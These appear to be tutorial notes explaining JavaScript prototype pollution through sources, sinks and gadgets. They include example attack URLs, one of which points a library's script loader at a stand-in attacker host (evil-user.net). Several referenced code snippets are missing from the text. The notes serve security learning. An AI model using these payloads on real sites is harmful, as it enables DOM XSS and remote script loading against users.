3 Key Components for Exploitation
1. A Source
This is any input that enables you to poison prototype objects with arbitrary properties.
The URL via either the query or fragment string (hash)
JSON based input
Web messages
URL
Consider the following URL, which contains an attacker-constructed query string:
https://vulnerable-website.com/?__proto__[evilProperty]=payload
/// Javascript will see this statement:
targetObject.__proto__.evilProperty = 'payload';
What we think will happen:
{
existingProperty1: 'foo',
existingProperty2: 'bar',
__proto__: {
evilProperty: 'payload'
}
}What actually happens:
Instead of setting evilProperty inside targetObject, JavaScript modifies Object.prototype, making evilProperty available to all objects due to prototype inheritance.
JSON Input
When an application receives user input in JSON format. It usually converts JSON into an object using JSON.parse()
The issue arises when a user injects a key named __proto__ in the JSON input
Merging the above with another object without sanitizing keys will lead to Prototype Pollution.
Though the above example shows the parsing of JSON into an object, it is different when defining the object as an object literal as it does not cause the vulnerability
2. A Sink
A prototype pollution sink is essentially just a JavaScript function or DOM element that you're able to access via prototype pollution, which enables you to execute arbitrary JavaScript or system commands.
Prototype pollution lets an attacker inject properties into the global prototype (Object.prototype). If the application later uses these polluted properties in a dangerous function, that function becomes the sink.
If an attacker pollutes the prototype:
Then userSettings.theme will unexpectedly contain the attacker's payload, leading to DOM XSS.
3. A gadget
A gadget in the context of prototype pollution is a piece of vulnerable code that unintentionally uses polluted properties in a dangerous way. This allows an attacker to hijack the program's behavior.
Let’s say a JavaScript library on a website has this configuration code:
If config.transport_url is undefined, it inherits polluted properties from Object.prototype
Later in the code, this value is used to load an external script:
If no transport_url is set in config then config.transport_url inherits from the prototype. The attacker then pollutes the prototype using URL parameter like:
https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net
resulting in:
Now, every object will inherit this polluted value
Last updated